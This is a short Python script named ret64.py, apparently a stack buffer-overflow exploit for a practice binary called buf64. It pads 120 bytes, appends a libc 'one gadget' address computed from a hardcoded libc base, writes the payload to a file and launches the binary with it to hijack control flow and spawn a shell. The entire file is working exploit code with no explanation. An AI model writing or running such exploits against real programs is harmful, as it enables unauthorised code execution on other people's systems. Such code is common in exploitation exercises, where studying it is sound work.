ret64.py

from os import system
from struct import pack
junk='A'*120
libc_base=0x00007ffff79f5000
onegadget=pack("Q",libc_base+0xfccde)        #gadget address
payload = junk + onegadget
with open("tmp","w") as f:
 f.write(payload)
system("./buf64 `cat tmp`") #because of null bytes